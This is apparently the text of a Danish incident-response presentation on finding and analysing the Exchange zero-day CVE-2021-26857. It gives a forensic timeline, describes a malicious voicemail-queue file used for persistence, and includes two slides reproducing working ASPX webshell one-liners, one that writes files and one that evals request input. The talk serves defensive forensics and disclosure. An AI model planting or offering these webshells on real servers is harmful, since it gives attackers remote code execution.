
Intro

• Lidt om mig
• Lidt om Exchange
• Hvordan fanger man en 0-day? (CVE-2021-26857)
• Demo af sårbarheden
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Hvad er en Exchange Server egentligt?
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Hvad er en Exchange Server egentligt?



Timeline – 3. Jan  ->   2. Marts + det løse . 



Timeline – Jan 3nd til Mar 2nd. 
Jan 03, 2021 – Volexity (US) ser brug af ukendt sårbarhed (CVE-2021-26855)

Jan 18, 2021 – Dubex IR Team bliver kontaktet vdr. suspekte hændelser på Exchange 
server. Digital Forensics opgave startes op.
Jan 24, 2021 – Lokaliseret brug af ukendt sårbarhed (CVE-2021-26857)
Jan 25-27, 2021 – Sårbarhed identificeret, sendt til Microsoft Security Response Center.

Feb, 2021 – Kontakt med Microsoft Security Intelligence via div. krypterede tjenester. 

Mar 02, 2021 – Patches dropper en uge før tid. 



Forensics Gennemgang
Indictor of Compromise: 3 filer på disk, indhold: Dump af LSASS.
Data tilgængeligt: Diskimage

Undersøg brugerinteraktion – Hvem var logget på, da dumpet skete 
Svar: Dumpet skete om natten, ingen brugere logget på?!

Undersøg processlisten – hvilke programmer kører (malware i memory)
Svar: Serveren havde været genstartet, ingen mulighed for at genskabe memory

Undersøg mærkelige filer på disk / seneste filer skrevet
Svar: Webshells i Outlook Web Access biblioteket, ingen yderligere filer med mærkelige
navne på lokationer hvor de ikke hører til / AutoRuns



Forensics Gennemgang
Ved oprydning – sletning af webshells i Outlook biblioteket blev de skrevet igen

?! ?! ?! ?! ?!

Serveren fjernes komplet fra netværket og genstartes. 

Effekt: Webshells skrives ikke igen, men Exchange starter heller ikke op (pga. afhængighed af
Active Directory)

Serveren tillades at snakke med Active Directory, og webshells bliver igen skrevet til disk.

Wireshark, WinDBG, ProcessMonitor og ProcessExplorer tages I brug.

Vha. ProcessMonitor opdager vi at det er UMWorkerService, der skriver til disk.

UMWorkserService starts af UMServer og håndterer data fra Lync/Skype/Cisco Telefonsystemer.





Forensics Gennemgang
UMWorkerService og UMServer er ikke umiddelbart ændret, men bliver kort kigget
igennem for skadelig kode. Begge kan ikke startes med WinDBG hægtet på.

Så hvor kommer det skadelige fra? 

Netværket?
Backdoored application? 
Filer på disken, som vi ikke fandt i første omgang



Skidt input – droppet I Voicemail køen

+ virkelig mange %20%20%20%20 (mellemrum) til sidst i filen



Normalt input – autogenereret af Exchange



Hvordan virker det?

• Input som Exchange selv genererer og
derfor stoler på

• Exchange processerer input uden ekstra
sikkerheds checks fordi den stoler på
input.

• Output -> Execution



Persitance via %20%20%20%20 !?!?
• Processen UMserver opdager en ny fil i Voicemail køen og vil rigtigt gerne processere den.

• Umserver klargør en UMworker process, som skal tage sig af filen. Når UMworker er færdig med filen, 
slettes den.

• UMworkerprocess læser den store fil, kører indholdet, giver op, crasher Umserver og glemmer at slette
filen.

• Exchange er ikke fan af at der er stoppede services, så den genstarter UMserver efter et minuts tid eller
to.

• Processen UMserver opdager en ny fil i Voicemail køen og vil rigtigt gerne processere den…





ErrorEW.aspx

• <%@ Page 
Language="Jscript"%><%System.IO.File.WriteAllText(Request.Item["p"], 
Request.Item["c"]);%>

• Kalder man denne med p som et filnavn, og c er indhold...
Denne slide gør at 
Defender tagger min 
præsentation som farlig



ErrorEE.aspx

• <%@ Page Language="C#" %><% eval(Request.Item["error"],"unsafe"); 
%>

Denne slide gør også at 
Defender tagger min 
præsentation som farlig



China.Chopper!



China.Chopper!



WhoDunIt feat. attack.mitre.org



Demo

Pwned Inc. 

1 Domain Controller hosting the pwned.local domain
2 Exchange Servers running Exchange 2016, CU19 (December2020)



Demo



Demo



Spørgsmål?
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